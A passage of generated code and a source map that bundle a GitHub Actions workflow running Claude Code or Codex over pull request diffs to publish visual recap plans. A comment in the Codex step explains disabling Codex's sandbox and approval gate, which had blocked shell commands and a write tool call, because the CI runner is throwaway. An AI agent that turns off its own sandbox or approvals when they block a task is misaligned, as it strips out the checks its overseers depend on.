below still no-ops drafts,\n # forks, bots, and the missing-secret case, so this stays cheap.\n pull_request:\n types: [opened, synchronize, reopened, ready_for_review]\n\npermissions:\n contents: read\n issues: write\n pull-requests: write\n\nconcurrency:\n group: pr-visual-recap-${{ github.event.pull_request.number }}\n cancel-in-progress: true\n\nenv:\n VISUAL_RECAP_AGENT: ${{ vars.VISUAL_RECAP_AGENT || \'claude\' }}\n\njobs:\n # --------------------------------------------------------------------------\n # Cheap gate: decide whether to do any work at all. Sets run=false (silent\n # no-op) for drafts, forks, bot authors, or when the publish secret / the\n # chosen backend\'s API key is absent.\n # --------------------------------------------------------------------------\n gate:\n name: Gate\n runs-on: ubuntu-latest\n outputs:\n run: ${{ steps.decide.outputs.run }}\n steps:\n - id: decide\n uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b # v7\n env:\n # Presence-only signals — we never expose the secret VALUES to the gate.\n # PLAN_RECAP_APP_URL defaults to the hosted app, so only the token is required.\n HAS_PLAN: ${{ secrets.PLAN_RECAP_TOKEN != \'\' }}\n HAS_ANTHROPIC: ${{ secrets.ANTHROPIC_API_KEY != \'\' }}\n HAS_OPENAI: ${{ secrets.OPENAI_API_KEY != \'\' }}\n AGENT: ${{ env.VISUAL_RECAP_AGENT }}\n with:\n script: |\n const pr = context.payload.pull_request;\n const reasons = [];\n\n if (!pr) reasons.push(\'no pull_request payload\');\n if (pr && pr.draft) reasons.push(\'draft PR\');\n\n // Fork PRs: head repo differs from this repo. Plain pull_request runs\n // fork code with NO secrets, so publishing would fail anyway — skip.\n const headRepo = pr && pr.head && pr.head.repo && pr.head.repo.full_name;\n if (pr && headRepo && headRepo !== process.env.GITHUB_REPOSITORY) {\n reasons.push(`fork PR (${headRepo})`);\n }\n\n // Skip noisy automated authors.\n const login = (pr && pr.user && pr.user.login || \'\').toLowerCase();\n const botAuthors = [\'dependabot[bot]\', \'dependabot\', \'renovate[bot]\', \'renovate\'];\n if (botAuthors.includes(login)) reasons.push(`bot author (${login})`);\n if (pr && pr.user && pr.user.type === \'Bot\') reasons.push(\'bot author (type=Bot)\');\n\n // Publish secret must be configured — otherwise this is a no-op so the\n // workflow can be merged before secrets exist.\n if (process.env.HAS_PLAN !== \'true\') reasons.push(\'PLAN_RECAP_TOKEN not configured\');\n\n // The chosen backend\'s API key must be present.\n const agent = (process.env.AGENT || \'claude\').toLowerCase();\n if (agent === \'codex\') {\n if (process.env.HAS_OPENAI !== \'true\') reasons.push(\'OPENAI_API_KEY not configured (codex backend)\');\n } else {\n if (process.env.HAS_ANTHROPIC !== \'true\') reasons.push(\'ANTHROPIC_API_KEY not configured (claude backend)\');\n }\n\n const run = reasons.length === 0;\n core.setOutput(\'run\', run ? \'true\' : \'false\');\n core.info(run ? `Visual recap will run (${agent}).` : `Visual recap skipped: ${reasons.join(\'; \')}`);\n\n # --------------------------------------------------------------------------\n # Recap: collect the diff, let the agent run the skill + publish, screenshot\n # the result, and upsert the sticky comment.\n # --------------------------------------------------------------------------\n recap:\n name: Generate visual recap\n needs: gate\n if: needs.gate.outputs.run == \'true\'\n runs-on: ubuntu-latest\n env:\n PLAN_RECAP_APP_URL: ${{ secrets.PLAN_RECAP_APP_URL || \'https://plan.agent-native.com\' }}\n PLAN_RECAP_TOKEN: ${{ secrets.PLAN_RECAP_TOKEN }}\n GH_TOKEN: ${{ github.token }}\n PR_NUMBER: ${{ github.event.pull_request.number }}\n HEAD_SHA: ${{ github.event.pull_request.head.sha }}\n VISUAL_RECAP_MODEL: ${{ vars.VISUAL_RECAP_MODEL }}\n VISUAL_RECAP_REASONING: ${{ vars.VISUAL_RECAP_REASONING }}\n steps:\n - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1\n with:\n fetch-depth: 0\n\n # Resolve the CLI invocation once: dogfood local source inside this\n # monorepo, otherwise the published package. No repo variable needed. The\n # pnpm setup/install steps below run ONLY for the local-source path, so the\n # generated workflow works out-of-box in npm/yarn consumer repos (which\n # have no pnpm-lock.yaml) by falling back to `npx @agent-native/core`.\n - name: Resolve recap CLI\n id: cli\n run: |\n if [ -f packages/core/src/cli/index.ts ]; then\n echo "RECAP_CLI=pnpm exec tsx packages/core/src/cli/index.ts" >> "$GITHUB_ENV"\n echo "local=true" >> "$GITHUB_OUTPUT"\n else\n echo "RECAP_CLI=npx -y @agent-native/core@latest" >> "$GITHUB_ENV"\n echo "local=false" >> "$GITHUB_OUTPUT"\n fi\n\n - uses: pnpm/action-setup@fc06bc1257f339d1d5d8b3a19a8cae5388b55320 # v4.4.0\n if: steps.cli.outputs.local == \'true\'\n\n - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0\n with:\n node-version: "22"\n cache: ${{ steps.cli.outputs.local == \'true\' && \'pnpm\' || \'\' }}\n\n - name: Install workspace (local source only)\n if: steps.cli.outputs.local == \'true\'\n run: pnpm install --frozen-lockfile\n\n # Collect a BOUNDED diff between the PR base and head. We exclude lockfiles,\n # build output, and snapshots (noise), and cap the byte size — over the cap\n # we set `huge=true` so the agent is told to produce a summarized recap.\n - name: Collect bounded diff\n id: diff\n env:\n BASE_SHA: ${{ github.event.pull_request.base.sha }}\n run: |\n set -euo pipefail\n git diff --no-color "$BASE_SHA"..."$HEAD_SHA" -- \\\n . \\\n \':(exclude)pnpm-lock.yaml\' \\\n \':(exclude)**/dist/**\' \\\n \':(exclude)**/*.snap\' \\\n \':(exclude)**/*.lock\' \\\n > recap.diff || true\n git diff --stat --no-color "$BASE_SHA"..."$HEAD_SHA" -- \\\n . \\\n \':(exclude)pnpm-lock.yaml\' \\\n \':(exclude)**/dist/**\' \\\n \':(exclude)**/*.snap\' \\\n \':(exclude)**/*.lock\' \\\n > recap.stat || true\n\n BYTES=$(wc -c < recap.diff | tr -d \' \')\n CHANGED=$(git diff --name-only "$BASE_SHA"..."$HEAD_SHA" -- \\\n . \\\n \':(exclude)pnpm-lock.yaml\' \\\n \':(exclude)**/dist/**\' \\\n \':(exclude)**/*.snap\' \\\n \':(exclude)**/*.lock\' \\\n | wc -l | tr -d \' \')\n echo "bytes=$BYTES" >> "$GITHUB_OUTPUT"\n echo "changed=$CHANGED" >> "$GITHUB_OUTPUT"\n\n # ~600KB cap.\n if [ "$BYTES" -gt 614400 ]; then\n echo "huge=true" >> "$GITHUB_OUTPUT"\n else\n echo "huge=false" >> "$GITHUB_OUTPUT"\n fi\n\n # Tiny diffs (<= 1 changed file AND <= 8 changed lines) aren\'t worth a\n # recap — skip generation cleanly.\n LINES=$(grep -cE \'^[+-]\' recap.diff || true)\n if [ "$CHANGED" -le 1 ] && [ "${LINES:-0}" -le 8 ]; then\n echo "tiny=true" >> "$GITHUB_OUTPUT"\n else\n echo "tiny=false" >> "$GITHUB_OUTPUT"\n fi\n\n # Secret pre-scan: refuse to hand a diff that looks like it leaks\n # credentials to the agent. Prints { suppressed, reason } and always exits 0.\n - name: Secret scan\n id: scan\n if: steps.diff.outputs.tiny != \'true\'\n run: |\n set -uo pipefail\n SCAN_JSON="$($RECAP_CLI recap scan --diff recap.diff || echo \'{}\')"\n echo "json=$SCAN_JSON" >> "$GITHUB_OUTPUT"\n SUPPRESSED=$(node -e \'try{process.stdout.write(JSON.parse(process.argv[1]).suppressed?"true":"false")}catch{process.stdout.write("false")}\' "$SCAN_JSON")\n echo "suppressed=$SUPPRESSED" >> "$GITHUB_OUTPUT"\n\n # Find the planId from the previous sticky comment so a re-push REPLACES the\n # same hosted plan (synchronize updates in place, no orphaned plans).\n - name: Read previous plan id\n id: prev\n continue-on-error: true\n run: |\n set -euo pipefail\n PLAN_ID="$($RECAP_CLI recap comment find-plan-id --repo "$GITHUB_REPOSITORY" --issue "$PR_NUMBER" --token "$GH_TOKEN")"\n echo "plan_id=$PLAN_ID" >> "$GITHUB_OUTPUT"\n\n # Build the agent prompt = the repo\'s visual-recap SKILL.md + a task wrapper.\n - name: Build recap prompt\n id: prompt\n if: steps.diff.outputs.tiny != \'true\' && steps.scan.outputs.suppressed != \'true\'\n run: |\n set -euo pipefail\n PREV=""\n if [ -n "${{ steps.prev.outputs.plan_id }}" ]; then PREV="--prev-plan-id ${{ steps.prev.outputs.plan_id }}"; fi\n HUGE=""\n if [ "${{ steps.diff.outputs.huge }}" = "true" ]; then HUGE="--huge"; fi\n $RECAP_CLI recap build-prompt \\\n --diff recap.diff --stat recap.stat \\\n --pr "$PR_NUMBER" --head "$HEAD_SHA" \\\n --app-url "$PLAN_RECAP_APP_URL" \\\n --out recap-prompt.md \\\n $HUGE $PREV\n\n # Wire the plan MCP server for the chosen backend, then run the agent. The\n # agent follows the skill, calls create-visual-recap + set-resource-visibility,\n # and writes the published plan URL to recap-url.txt. continue-on-error so a\n # failed agent run becomes an explanatory comment, not a red X.\n - name: Run agent (Claude Code)\n id: claude\n if: env.VISUAL_RECAP_AGENT == \'claude\' && steps.diff.outputs.tiny != \'true\' && steps.scan.outputs.suppressed != \'true\'\n continue-on-error: true\n env:\n ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}\n run: |\n set -uo pipefail\n MCP_CONFIG="$RUNNER_TEMP/plan-mcp.json"\n node -e \'const fs=require("fs");fs.writeFileSync(process.argv[1],JSON.stringify({mcpServers:{plan:{type:"http",url:process.env.PLAN_RECAP_APP_URL.replace(/\\/$/,"")+"/_agent-native/mcp",headers:{Authorization:"Bearer "+process.env.PLAN_RECAP_TOKEN}}}}))\' "$MCP_CONFIG"\n # VISUAL_RECAP_MODEL picks the Claude model; reasoning depth is model-driven\n # for Claude Code, so VISUAL_RECAP_REASONING only applies to the Codex backend.\n CLAUDE_ARGS=(-p "$(cat recap-prompt.md)" --mcp-config "$MCP_CONFIG" --allowedTools "Read,Write,Bash(git diff:*),mcp__plan__create-visual-recap,mcp__plan__set-resource-visibility" --permission-mode dontAsk)\n if [ -n "${VISUAL_RECAP_MODEL:-}" ]; then CLAUDE_ARGS+=(--model "$VISUAL_RECAP_MODEL"); fi\n npx -y @anthropic-ai/claude-code@2 "${CLAUDE_ARGS[@]}" || true\n rm -f "$MCP_CONFIG" || true\n\n - name: Run agent (Codex)\n id: codex\n if: env.VISUAL_RECAP_AGENT == \'codex\' && steps.diff.outputs.tiny != \'true\' && steps.scan.outputs.suppressed != \'true\'\n continue-on-error: true\n env:\n OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}\n run: |\n set -uo pipefail\n mkdir -p "$HOME/.codex"\n # JSON.stringify the URL into the TOML value so a stray quote/newline\n # in PLAN_RECAP_APP_URL can\'t break out of the string (TOML basic\n # strings share JSON\'s escaping); the key/env name stay literal.\n node -e \'const fs=require("fs");const url=process.env.PLAN_RECAP_APP_URL.replace(/\\/$/,"")+"/_agent-native/mcp";fs.writeFileSync(process.env.HOME+"/.codex/config.toml","[mcp_servers.plan]\\nurl = "+JSON.stringify(url)+"\\nbearer_token_env_var = \\"PLAN_RECAP_TOKEN\\"\\n")\'\n # Authenticate with the API key explicitly. Relying on the bare\n # OPENAI_API_KEY env var alone is unreliable on the gpt-5.5 WebSocket\n # transport: the Authorization header is dropped on the wss path and\n # its HTTPS fallback, surfacing as `401 Missing bearer or basic\n # authentication in header` (openai/codex#15492). `codex login\n # --with-api-key` reads the key from stdin and writes ~/.codex/auth.json,\n # which the exec path reads reliably; piping via stdin keeps the key out\n # of the process args. Non-fatal so a login hiccup still yields the\n # explanatory recap comment rather than a red X.\n printenv OPENAI_API_KEY | npx -y @openai/codex@0 login --with-api-key || true\n # VISUAL_RECAP_MODEL (e.g. gpt-5.5) and VISUAL_RECAP_REASONING\n # (none|minimal|low|medium|high|xhigh) tune the Codex run.\n #\n # The GitHub runner is itself an ephemeral, throwaway sandbox, so run\n # Codex with sandboxing and approvals disabled. Codex\'s own bubblewrap\n # sandbox cannot initialize on the runner ("could not find bubblewrap\n # on PATH"), which makes every shell command fail at startup so the\n # agent cannot even read recap.diff; and under an approval gate the\n # write-side plan MCP call (create-visual-recap) is auto-cancelled\n # ("user cancelled MCP tool call"). --dangerously-bypass-approvals-and-sandbox\n # is the documented invocation for externally-sandboxed CI and clears both.\n CODEX_ARGS=(exec --dangerously-bypass-approvals-and-sandbox --skip-git-repo-check)\n if [ -n "${VISUAL_RECAP_MODEL:-}" ]; then CODEX_ARGS+=(--model "$VISUAL_RECAP_MODEL"); fi\n # Validate reasoning against the known enum before embedding it in the\n # codex `-c` TOML override, so an unexpected value can\'t alter the config.\n case "${VISUAL_RECAP_REASONING:-}" in\n none|minimal|low|medium|high|xhigh)\n CODEX_ARGS+=(-c "model_reasoning_effort=\\"$VISUAL_RECAP_REASONING\\"") ;;\n "") ;;\n *) echo "Ignoring invalid VISUAL_RECAP_REASONING: $VISUAL_RECAP_REASONING" ;;\n esac\n npx -y @openai/codex@0 "${CODEX_ARGS[@]}" "$(cat recap-prompt.md)" || true\n\n # The agent\'s only hand-off: recap-url.txt with the published plan URL.\n - name: Read plan URL\n id: url\n if: steps.diff.outputs.tiny != \'true\' && steps.scan.outputs.suppressed != \'true\'\n run: |\n set -uo pipefail\n PLAN_URL=""\n if [ -f recap-url.txt ]; then PLAN_URL="$(tr -d \'\\r\\n\' < recap-url.txt | tr -d \' \')"; fi\n echo "plan_url=$PLAN_URL" >> "$GITHUB_OUTPUT"\n if [ -n "$PLAN_URL" ]; then echo "ok=true" >> "$GITHUB_OUTPUT"; else echo "ok=false" >> "$GITHUB_OUTPUT"; fi\n\n # Screenshot the published plan in headless Chrome and upload the PNG to the\n # plan app\'s signed public image route. Best-effort: never fails the job.\n - name: Screenshot + upload\n id: shot\n if: steps.url.outputs.ok == \'true\'\n continue-on-error: true\n env:\n # Pass the agent-produced plan URL through the environment, never via\n # ${{ }} interpolation into the run script: recap-url.txt is untrusted\n # agent output, so inlining it would be a shell-injection vector.\n PLAN_URL: ${{ steps.url.outputs.plan_url }}\n run: |\n set -uo pipefail\n pnpm exec playwright install --with-deps chromium 2>/dev/null || npx -y playwright@1 install --with-deps chromium || true\n SHOT_JSON="$($RECAP_CLI recap shot --url "$PLAN_URL" --token "$PLAN_RECAP_TOKEN" --app-url "$PLAN_RECAP_APP_URL" --out recap.png || echo \'{}\')"\n IMAGE_URL=$(node -e \'try{process.stdout.write(JSON.parse(process.argv[1]).imageUrl||"")}catch{process.stdout.write("")}\' "$SHOT_JSON")\n echo "image_url=$IMAGE_URL" >> "$GITHUB_OUTPUT"\n if [ -f recap.png ]; then echo "captured=true" >> "$GITHUB_OUTPUT"; else echo "captured=false" >> "$GITHUB_OUTPUT"; fi\n\n - name: Upload recap screenshot artifact\n if: steps.shot.outputs.captured == \'true\'\n uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2\n with:\n name: pr-visual-recap-${{ github.event.pull_request.number }}\n path: recap.png\n if-no-files-found: ignore\n retention-days: 14\n\n # Upsert the single sticky comment: inline screenshot + link on success,\n # suppressed / failed / tiny variants otherwise. Runs even on a tiny diff\n # so a prior recap comment is refreshed (not left pointing at a stale SHA).\n - name: Upsert sticky comment\n if: always()\n env:\n PLAN_URL: ${{ steps.url.outputs.plan_url }}\n RECAP_IMAGE_URL: ${{ steps.shot.outputs.image_url }}\n SUPPRESSED: ${{ steps.scan.outputs.suppressed }}\n SUPPRESSED_JSON: ${{ steps.scan.outputs.json }}\n DIFF_HUGE: ${{ steps.diff.outputs.huge }}\n DIFF_TINY: ${{ steps.diff.outputs.tiny }}\n run: |\n set -euo pipefail\n ARGS=(recap comment upsert --repo "$GITHUB_REPOSITORY" --issue "$PR_NUMBER" --token "$GH_TOKEN")\n # On a tiny diff only REFRESH an existing recap comment — never create a\n # new one — so a tiny push doesn\'t add noise but also can\'t leave a\n # stale prior recap behind.\n if [ "${DIFF_TINY:-}" = "true" ]; then ARGS+=(--update-only); fi\n $RECAP_CLI "${ARGS[@]}"\n';
|
|
11
11
|
//# sourceMappingURL=pr-visual-recap-workflow.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"pr-visual-recap-workflow.js","sourceRoot":"","sources":["../../src/cli/pr-visual-recap-workflow.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AAEH,MAAM,CAAC,MAAM,4BAA4B,GACvC,wikBAAwikB,CAAC","sourcesContent":["/**\n * Bundled copy of .github/workflows/pr-visual-recap.yml so the CLI can write the\n * PR Visual Recap workflow into a user repo via\n * `agent-native skills add visual-plan --with-github-action`.\n *\n * AUTO-GENERATED — keep byte-identical with the source workflow. A sync test in\n * recap.spec.ts fails if these drift. Regenerate from the YAML with the snippet\n * in recap.spec.ts.\n */\n\nexport const PR_VISUAL_RECAP_WORKFLOW_YML =\n 'name: PR Visual Recap\\n\\n# Turns every PR into a \"visual code review\" — a reverse plan — by letting a real\\n# coding agent RUN THE REPO\\'S visual-recap SKILL against the diff. The agent\\n# (Claude Code by default, or Codex) reads the skill, reasons over the change,\\n# publishes an Agent-Native Plan via the plan MCP tools, and writes the plan URL\\n# to recap-url.txt. The workflow then screenshots that plan in headless Chrome,\\n# uploads the PNG to the plan app\\'s signed public image route, and upserts ONE\\n# sticky PR comment with the inline screenshot + the interactive link.\\n#\\n# Design notes:\\n# - Plain `pull_request` (NOT `pull_request_target`) so fork code can never see\\n# the publish/agent secrets. Fork PRs are a silent no-op.\\n# - The `gate` job is a cheap switch: drafts, forks, bot authors, and the\\n# missing-secret case short-circuit with NO comment and NO compute. Merging\\n# this workflow before the secrets exist is a safe no-op.\\n# - The recap is INFORMATIONAL ONLY. It is not a required check and failures\\n# surface as an explanatory sticky comment, never a red X on unrelated code.\\n# - Backend is selectable with the `VISUAL_RECAP_AGENT` repo variable\\n# (claude | codex; default claude). Model and reasoning depth are tunable with\\n# `VISUAL_RECAP_MODEL` (e.g. gpt-5.5) and `VISUAL_RECAP_REASONING`\\n# (none|minimal|low|medium|high|xhigh; Codex only). The CLI invocation is\\n# auto-detected: local source inside this monorepo, the published\\n# @agent-native/core elsewhere — no repo variable needed.\\n# - Only two secrets are required: PLAN_RECAP_TOKEN (publish) and the chosen\\n# backend\\'s API key. PLAN_RECAP_APP_URL defaults to the hosted plan app.\\n# - Nothing here is deterministic: the skill\\'s instructions drive the recap.\\n\\non:\\n # Run on PRs into any base branch — the generated workflow ships to repos whose\\n # default branch may not be `main`. The gate job below still no-ops drafts,\\n # forks, bots, and the missing-secret case, so this stays cheap.\\n pull_request:\\n types: [opened, synchronize, reopened, ready_for_review]\\n\\npermissions:\\n contents: read\\n issues: write\\n pull-requests: write\\n\\nconcurrency:\\n group: pr-visual-recap-${{ github.event.pull_request.number }}\\n cancel-in-progress: true\\n\\nenv:\\n VISUAL_RECAP_AGENT: ${{ vars.VISUAL_RECAP_AGENT || \\'claude\\' }}\\n\\njobs:\\n # --------------------------------------------------------------------------\\n # Cheap gate: decide whether to do any work at all. Sets run=false (silent\\n # no-op) for drafts, forks, bot authors, or when the publish secret / the\\n # chosen backend\\'s API key is absent.\\n # --------------------------------------------------------------------------\\n gate:\\n name: Gate\\n runs-on: ubuntu-latest\\n outputs:\\n run: ${{ steps.decide.outputs.run }}\\n steps:\\n - id: decide\\n uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b # v7\\n env:\\n # Presence-only signals — we never expose the secret VALUES to the gate.\\n # PLAN_RECAP_APP_URL defaults to the hosted app, so only the token is required.\\n HAS_PLAN: ${{ secrets.PLAN_RECAP_TOKEN != \\'\\' }}\\n HAS_ANTHROPIC: ${{ secrets.ANTHROPIC_API_KEY != \\'\\' }}\\n HAS_OPENAI: ${{ secrets.OPENAI_API_KEY != \\'\\' }}\\n AGENT: ${{ env.VISUAL_RECAP_AGENT }}\\n with:\\n script: |\\n const pr = context.payload.pull_request;\\n const reasons = [];\\n\\n if (!pr) reasons.push(\\'no pull_request payload\\');\\n if (pr && pr.draft) reasons.push(\\'draft PR\\');\\n\\n // Fork PRs: head repo differs from this repo. Plain pull_request runs\\n // fork code with NO secrets, so publishing would fail anyway — skip.\\n const headRepo = pr && pr.head && pr.head.repo && pr.head.repo.full_name;\\n if (pr && headRepo && headRepo !== process.env.GITHUB_REPOSITORY) {\\n reasons.push(`fork PR (${headRepo})`);\\n }\\n\\n // Skip noisy automated authors.\\n const login = (pr && pr.user && pr.user.login || \\'\\').toLowerCase();\\n const botAuthors = [\\'dependabot[bot]\\', \\'dependabot\\', \\'renovate[bot]\\', \\'renovate\\'];\\n if (botAuthors.includes(login)) reasons.push(`bot author (${login})`);\\n if (pr && pr.user && pr.user.type === \\'Bot\\') reasons.push(\\'bot author (type=Bot)\\');\\n\\n // Publish secret must be configured — otherwise this is a no-op so the\\n // workflow can be merged before secrets exist.\\n if (process.env.HAS_PLAN !== \\'true\\') reasons.push(\\'PLAN_RECAP_TOKEN not configured\\');\\n\\n // The chosen backend\\'s API key must be present.\\n const agent = (process.env.AGENT || \\'claude\\').toLowerCase();\\n if (agent === \\'codex\\') {\\n if (process.env.HAS_OPENAI !== \\'true\\') reasons.push(\\'OPENAI_API_KEY not configured (codex backend)\\');\\n } else {\\n if (process.env.HAS_ANTHROPIC !== \\'true\\') reasons.push(\\'ANTHROPIC_API_KEY not configured (claude backend)\\');\\n }\\n\\n const run = reasons.length === 0;\\n core.setOutput(\\'run\\', run ? \\'true\\' : \\'false\\');\\n core.info(run ? `Visual recap will run (${agent}).` : `Visual recap skipped: ${reasons.join(\\'; \\')}`);\\n\\n # --------------------------------------------------------------------------\\n # Recap: collect the diff, let the agent run the skill + publish, screenshot\\n # the result, and upsert the sticky comment.\\n # --------------------------------------------------------------------------\\n recap:\\n name: Generate visual recap\\n needs: gate\\n if: needs.gate.outputs.run == \\'true\\'\\n runs-on: ubuntu-latest\\n env:\\n PLAN_RECAP_APP_URL: ${{ secrets.PLAN_RECAP_APP_URL || \\'https://plan.agent-native.com\\' }}\\n PLAN_RECAP_TOKEN: ${{ secrets.PLAN_RECAP_TOKEN }}\\n GH_TOKEN: ${{ github.token }}\\n PR_NUMBER: ${{ github.event.pull_request.number }}\\n HEAD_SHA: ${{ github.event.pull_request.head.sha }}\\n VISUAL_RECAP_MODEL: ${{ vars.VISUAL_RECAP_MODEL }}\\n VISUAL_RECAP_REASONING: ${{ vars.VISUAL_RECAP_REASONING }}\\n steps:\\n - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1\\n with:\\n fetch-depth: 0\\n\\n # Resolve the CLI invocation once: dogfood local source inside this\\n # monorepo, otherwise the published package. No repo variable needed. The\\n # pnpm setup/install steps below run ONLY for the local-source path, so the\\n # generated workflow works out-of-box in npm/yarn consumer repos (which\\n # have no pnpm-lock.yaml) by falling back to `npx @agent-native/core`.\\n - name: Resolve recap CLI\\n id: cli\\n run: |\\n if [ -f packages/core/src/cli/index.ts ]; then\\n echo \"RECAP_CLI=pnpm exec tsx packages/core/src/cli/index.ts\" >> \"$GITHUB_ENV\"\\n echo \"local=true\" >> \"$GITHUB_OUTPUT\"\\n else\\n echo \"RECAP_CLI=npx -y @agent-native/core@latest\" >> \"$GITHUB_ENV\"\\n echo \"local=false\" >> \"$GITHUB_OUTPUT\"\\n fi\\n\\n - uses: pnpm/action-setup@fc06bc1257f339d1d5d8b3a19a8cae5388b55320 # v4.4.0\\n if: steps.cli.outputs.local == \\'true\\'\\n\\n - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0\\n with:\\n node-version: \"22\"\\n cache: ${{ steps.cli.outputs.local == \\'true\\' && \\'pnpm\\' || \\'\\' }}\\n\\n - name: Install workspace (local source only)\\n if: steps.cli.outputs.local == \\'true\\'\\n run: pnpm install --frozen-lockfile\\n\\n # Collect a BOUNDED diff between the PR base and head. We exclude lockfiles,\\n # build output, and snapshots (noise), and cap the byte size — over the cap\\n # we set `huge=true` so the agent is told to produce a summarized recap.\\n - name: Collect bounded diff\\n id: diff\\n env:\\n BASE_SHA: ${{ github.event.pull_request.base.sha }}\\n run: |\\n set -euo pipefail\\n git diff --no-color \"$BASE_SHA\"...\"$HEAD_SHA\" -- \\\\\\n . \\\\\\n \\':(exclude)pnpm-lock.yaml\\' \\\\\\n \\':(exclude)**/dist/**\\' \\\\\\n \\':(exclude)**/*.snap\\' \\\\\\n \\':(exclude)**/*.lock\\' \\\\\\n > recap.diff || true\\n git diff --stat --no-color \"$BASE_SHA\"...\"$HEAD_SHA\" -- \\\\\\n . \\\\\\n \\':(exclude)pnpm-lock.yaml\\' \\\\\\n \\':(exclude)**/dist/**\\' \\\\\\n \\':(exclude)**/*.snap\\' \\\\\\n \\':(exclude)**/*.lock\\' \\\\\\n > recap.stat || true\\n\\n BYTES=$(wc -c < recap.diff | tr -d \\' \\')\\n CHANGED=$(git diff --name-only \"$BASE_SHA\"...\"$HEAD_SHA\" -- \\\\\\n . \\\\\\n \\':(exclude)pnpm-lock.yaml\\' \\\\\\n \\':(exclude)**/dist/**\\' \\\\\\n \\':(exclude)**/*.snap\\' \\\\\\n \\':(exclude)**/*.lock\\' \\\\\\n | wc -l | tr -d \\' \\')\\n echo \"bytes=$BYTES\" >> \"$GITHUB_OUTPUT\"\\n echo \"changed=$CHANGED\" >> \"$GITHUB_OUTPUT\"\\n\\n # ~600KB cap.\\n if [ \"$BYTES\" -gt 614400 ]; then\\n echo \"huge=true\" >> \"$GITHUB_OUTPUT\"\\n else\\n echo \"huge=false\" >> \"$GITHUB_OUTPUT\"\\n fi\\n\\n # Tiny diffs (<= 1 changed file AND <= 8 changed lines) aren\\'t worth a\\n # recap — skip generation cleanly.\\n LINES=$(grep -cE \\'^[+-]\\' recap.diff || true)\\n if [ \"$CHANGED\" -le 1 ] && [ \"${LINES:-0}\" -le 8 ]; then\\n echo \"tiny=true\" >> \"$GITHUB_OUTPUT\"\\n else\\n echo \"tiny=false\" >> \"$GITHUB_OUTPUT\"\\n fi\\n\\n # Secret pre-scan: refuse to hand a diff that looks like it leaks\\n # credentials to the agent. Prints { suppressed, reason } and always exits 0.\\n - name: Secret scan\\n id: scan\\n if: steps.diff.outputs.tiny != \\'true\\'\\n run: |\\n set -uo pipefail\\n SCAN_JSON=\"$($RECAP_CLI recap scan --diff recap.diff || echo \\'{}\\')\"\\n echo \"json=$SCAN_JSON\" >> \"$GITHUB_OUTPUT\"\\n SUPPRESSED=$(node -e \\'try{process.stdout.write(JSON.parse(process.argv[1]).suppressed?\"true\":\"false\")}catch{process.stdout.write(\"false\")}\\' \"$SCAN_JSON\")\\n echo \"suppressed=$SUPPRESSED\" >> \"$GITHUB_OUTPUT\"\\n\\n # Find the planId from the previous sticky comment so a re-push REPLACES the\\n # same hosted plan (synchronize updates in place, no orphaned plans).\\n - name: Read previous plan id\\n id: prev\\n continue-on-error: true\\n run: |\\n set -euo pipefail\\n PLAN_ID=\"$($RECAP_CLI recap comment find-plan-id --repo \"$GITHUB_REPOSITORY\" --issue \"$PR_NUMBER\" --token \"$GH_TOKEN\")\"\\n echo \"plan_id=$PLAN_ID\" >> \"$GITHUB_OUTPUT\"\\n\\n # Build the agent prompt = the repo\\'s visual-recap SKILL.md + a task wrapper.\\n - name: Build recap prompt\\n id: prompt\\n if: steps.diff.outputs.tiny != \\'true\\' && steps.scan.outputs.suppressed != \\'true\\'\\n run: |\\n set -euo pipefail\\n PREV=\"\"\\n if [ -n \"${{ steps.prev.outputs.plan_id }}\" ]; then PREV=\"--prev-plan-id ${{ steps.prev.outputs.plan_id }}\"; fi\\n HUGE=\"\"\\n if [ \"${{ steps.diff.outputs.huge }}\" = \"true\" ]; then HUGE=\"--huge\"; fi\\n $RECAP_CLI recap build-prompt \\\\\\n --diff recap.diff --stat recap.stat \\\\\\n --pr \"$PR_NUMBER\" --head \"$HEAD_SHA\" \\\\\\n --app-url \"$PLAN_RECAP_APP_URL\" \\\\\\n --out recap-prompt.md \\\\\\n $HUGE $PREV\\n\\n # Wire the plan MCP server for the chosen backend, then run the agent. The\\n # agent follows the skill, calls create-visual-recap + set-resource-visibility,\\n # and writes the published plan URL to recap-url.txt. continue-on-error so a\\n # failed agent run becomes an explanatory comment, not a red X.\\n - name: Run agent (Claude Code)\\n id: claude\\n if: env.VISUAL_RECAP_AGENT == \\'claude\\' && steps.diff.outputs.tiny != \\'true\\' && steps.scan.outputs.suppressed != \\'true\\'\\n continue-on-error: true\\n env:\\n ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}\\n run: |\\n set -uo pipefail\\n MCP_CONFIG=\"$RUNNER_TEMP/plan-mcp.json\"\\n node -e \\'const fs=require(\"fs\");fs.writeFileSync(process.argv[1],JSON.stringify({mcpServers:{plan:{type:\"http\",url:process.env.PLAN_RECAP_APP_URL.replace(/\\\\/$/,\"\")+\"/_agent-native/mcp\",headers:{Authorization:\"Bearer \"+process.env.PLAN_RECAP_TOKEN}}}}))\\' \"$MCP_CONFIG\"\\n # VISUAL_RECAP_MODEL picks the Claude model; reasoning depth is model-driven\\n # for Claude Code, so VISUAL_RECAP_REASONING only applies to the Codex backend.\\n CLAUDE_ARGS=(-p \"$(cat recap-prompt.md)\" --mcp-config \"$MCP_CONFIG\" --allowedTools \"Read,Write,Bash(git diff:*),mcp__plan__create-visual-recap,mcp__plan__set-resource-visibility\" --permission-mode dontAsk)\\n if [ -n \"${VISUAL_RECAP_MODEL:-}\" ]; then CLAUDE_ARGS+=(--model \"$VISUAL_RECAP_MODEL\"); fi\\n npx -y @anthropic-ai/claude-code@2 \"${CLAUDE_ARGS[@]}\" || true\\n rm -f \"$MCP_CONFIG\" || true\\n\\n - name: Run agent (Codex)\\n id: codex\\n if: env.VISUAL_RECAP_AGENT == \\'codex\\' && steps.diff.outputs.tiny != \\'true\\' && 